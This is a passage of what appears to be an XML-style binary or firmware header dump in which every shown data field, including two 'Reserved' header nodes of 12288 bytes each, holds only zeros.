00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000</data> </hdr_node> <hdr_node name="Reserved 0x3D00" byte_cnt="12288" offset="3D00"> <data>000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000</data> </hdr_node> <hdr_node name="Reserved 0x6D00" byte_cnt="12288" offset="6D00"> <data>0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000